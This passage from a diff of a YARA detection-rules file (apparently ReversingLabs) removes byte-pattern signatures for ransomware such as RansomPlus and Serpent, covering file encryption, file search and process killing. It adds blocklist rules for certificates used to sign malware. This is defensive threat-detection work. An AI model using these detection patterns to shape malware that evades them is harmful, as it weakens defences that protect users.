75 ?? 48 89 C2 48 C1 E0 ?? 48 - 8D 70 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 D1 48 F7 EE 48 8D 14 CA 48 8D 52 ?? 48 - } - $encrypt_files_p3 = { - C1 FA ?? 48 C1 FE ?? 48 29 F2 EB ?? 48 8D 70 ?? 48 89 C1 48 B8 ?? ?? ?? ?? ?? ?? ?? - ?? 48 F7 EE 48 8D 14 0A 48 8D 52 ?? 48 D1 FA 48 C1 FE ?? 48 29 F2 48 C1 E2 ?? 48 8D - 4A ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 CB E8 ?? ?? ?? ?? 48 89 C3 48 8B 4C - 24 ?? 48 89 CF 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 85 DB 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4C - 24 ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 - DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 31 FF 48 8B 74 - 24 ?? 4C 8B 84 24 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 85 DB 0F - 85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 C3 48 8D 0D ?? ?? ?? ?? 48 8B BC 24 ?? - ?? ?? ?? 31 F6 45 31 C0 4D 89 C1 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? - ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 - ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? - ?? 31 DB 31 C9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 - DB 74 ?? 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC - 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 94 24 ?? ?? ?? ?? 48 8B 72 ?? 48 8B 42 - ?? 48 8B 56 ?? 31 DB 31 C9 48 89 CF FF D2 48 8B 15 ?? ?? ?? ?? 48 89 CF 48 89 D9 48 - } - $encrypt_files_p4 = { - 89 C3 48 89 D0 E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84 24 ?? ?? ?? ?? 0F 1F 40 ?? - E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 - 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? - ?? ?? C3 90 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? - ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? - ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 - E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? - ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? - ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 - 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - C3 90 66 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC - 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 - 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? - ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 - ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 - 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? - ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 66 90 - E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? - ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 7C 24 - ?? E8 - } - $find_files_p1 = { - 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC - 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? - ?? 48 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB 7E ?? 48 89 5C 24 ?? 31 C9 EB ?? - 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 8D 43 ?? - 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 58 ?? 48 89 5C - 24 ?? 48 8B 72 ?? 48 89 D8 FF D6 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 - 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 C0 49 89 D9 31 C0 48 - 8B 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8B 4C 24 ?? 48 - 8B 51 ?? 48 8B 44 24 ?? FF D2 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D - 4B ?? 66 90 E9 ?? ?? ?? ?? 48 29 CB 48 89 DA 48 F7 DB 48 C1 FB ?? 48 21 D9 48 01 C1 - 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? EB ?? 31 D2 31 C9 48 89 C8 48 89 D3 - E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? - 48 8B 3D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 66 90 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8D BC - 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C - } - $find_files_p2 = { - 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 8D 84 24 ?? ?? ?? ?? 31 C9 0F 1F 00 E9 ?? ?? ?? - ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 84 C0 74 ?? 48 8B 44 24 ?? 48 8B - 5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 8B 54 24 - ?? 0F 1F 00 48 39 CA 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 FF C9 48 85 C9 0F 8C ?? ?? - ?? ?? 0F B6 14 08 66 90 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA - ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 42 ?? 48 89 4C 24 ?? 48 89 84 - 24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 70 ?? 48 89 74 24 ?? 48 8B 5C 24 ?? 48 - 8B 44 24 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 44 - 24 ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? - 48 89 DF 48 89 D3 48 89 C2 48 89 C8 48 89 D1 E8 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? - 48 85 C0 0F 8D ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ?? ?? ?? ?? 48 - 8B 4C 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 84 - 24 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 44 24 ?? - 48 89 5C 24 ?? 48 89 4C 24 ?? 66 90 E8 - } - $kill_procs_p1 = { - 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC - 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 - 89 5C 24 ?? 31 C9 66 90 EB ?? 48 8B 54 24 ?? 48 8D 4A ?? 48 8B 84 24 ?? ?? ?? ?? 48 - 8B 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 39 CB 0F 8E ?? ?? ?? ?? 48 89 4C 24 ?? 48 C1 - E1 ?? 48 8B 1C 08 48 89 5C 24 ?? 48 8B 4C 08 ?? 48 89 4C 24 ?? 48 8B 73 ?? 48 89 C8 - FF D6 48 89 1D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48 - 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 48 - 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B - 3D ?? ?? ?? ?? 48 89 C3 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 - 89 08 48 8D BC 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 48 A5 48 8D BC - 24 ?? ?? ?? ?? 48 8D 7F ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? - 48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - EB ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8D 84 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 48 85 C9 0F 84 ?? ?? ?? - ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 12 48 89 54 24 ?? 48 8B 01 48 89 44 24 ?? 48 8B 59 - ?? 48 89 5C 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 31 F6 EB ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 - } - $kill_procs_p2 = { - C2 ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 89 CE 48 89 D1 48 89 74 24 ?? 48 89 8C 24 ?? - ?? ?? ?? 48 8B 11 48 89 54 24 ?? 48 8B 79 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C - 24 ?? 48 8B 7C 24 ?? 90 E8 ?? ?? ?? ?? 48 85 C0 0F 8C ?? ?? ?? ?? 48 8B 44 24 ?? BB - ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F - 11 3A 48 8D 15 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? - ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? - ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? - 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 1D ?? ?? - ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 8B 44 24 ?? 90 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ?? - ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $kill_procs_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "pioneersoft" and pe.signatures [ i ] . serial == "08:aa:a0:69:e9:25:17:f2:1c:e6:7c:a7:13:f6:ea:63" and 1368403200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ransomplus : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1B7B54E0Dd4D7E45A0B46834De52658D : INFO FILE { meta: - description = "Yara rule that detects RansomPlus ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ee96eab6-104d-560f-adae-6d5f0ba5d469" - date = "2020-06-26" - modified = "2020-07-15" + id = "376da749-3cd4-5e37-b1ee-013e839f98ce" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RansomPlus.yara#L1-L95" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14876-L14892" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8ab18c6bcb939eac0e74f015dea773141b5086c5fcb4783666eeac1f395bc208" + logic_hash = "5febbce8c39440bfc4846f509f0b1dd4f71a8b4dc24fa18afb561d26e53c2446" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "RansomPlus" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_1_0 = { - 55 8B EC 83 E4 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? - 8B CC 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 01 ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? - ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ?? - ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? - 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 - } - $find_files_1_1 = { - 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? - ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 95 ?? ?? ?? ?? - 41 81 F9 ?? ?? ?? ?? 72 ?? F6 C2 ?? 74 ?? E8 ?? ?? ?? ?? 8B 42 ?? 3B C2 72 ?? E8 ?? - ?? ?? ?? 2B D0 83 FA ?? 73 ?? E8 ?? ?? ?? ?? 83 FA ?? 76 ?? E8 ?? ?? ?? ?? 8B D0 52 - E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? 83 FB ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 32 DB E9 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? C6 45 ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 - } - $find_files_1_2 = { - 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? - 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? - 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB - ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 55 ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? - 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 - 6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 - 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D - ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 FE ?? 0F 43 C2 0F 43 CA 89 85 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 03 C1 83 FE ?? 8B F8 0F 43 DA 33 C9 2B FB 33 F6 3B D8 0F 47 F9 85 - FF 74 ?? 0F BE 04 33 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 88 04 31 46 3B F7 - 75 ?? 33 C0 89 85 ?? ?? ?? ?? 8B 94 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D - 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 F9 ?? 0F - 43 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 C2 03 85 ?? ?? ?? ?? 83 F9 ?? 8B F8 - 0F 43 DA 33 F6 2B FB 3B D8 0F 47 FE 85 FF 74 - } - $encrypt_files = { - 8A 01 41 84 C0 75 ?? 2B CA C6 85 ?? ?? ?? ?? ?? 33 C0 88 84 05 ?? ?? ?? ?? 40 3D ?? - ?? ?? ?? 72 ?? 33 F6 8B C6 33 D2 F7 F1 8A 04 3A 02 C1 30 84 35 ?? ?? ?? ?? 46 81 FE - ?? ?? ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 55 ?? 8B F8 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B - D8 85 FF 74 ?? 85 DB 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 57 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 8B F0 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 56 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? - 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8 - ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B - 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? - E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D - ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? - 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? - ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 - ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B - C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? - ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B - 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and $find_files_1_0 and $find_files_1_1 and $find_files_1_2 and $encrypt_files + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "1b:7b:54:e0:dd:4d:7e:45:a0:b4:68:34:de:52:65:8d" and 1476662400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Serpent : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_B63E4299D0B0E2Dcdaeb976167A23235 : INFO FILE { meta: - description = "Yara rule that detects Serpent ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0757ad7c-b2b1-5323-960a-55ffe3eaed12" - date = "2020-06-26" - modified = "2020-07-15" + id = "44af31cc-e0c9-5f3f-9645-a0453bc81e62" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Serpent.yara#L1-L122" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14894-L14912" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5e1917e8d23a5edc65ac423f3d18cc78c3848bd6c1ccc67d052eb37172857081" + logic_hash = "da7415d0bc0245dea6a4ec325da5140c79c723c20fb7c04ff14f59a3089a5c88" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Serpent" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $do_dll_stuff_and_create_thread = { - 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 89 D2 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 89 FF 90 90 6A ?? 53 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BA - ?? ?? ?? ?? 66 0F 6E D2 89 FF 89 C9 31 D2 66 0F 7E D2 89 15 ?? ?? ?? ?? 81 3D ?? ?? - ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 89 C9 4B - 75 ?? 89 C9 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B - 75 ?? BB ?? ?? ?? ?? 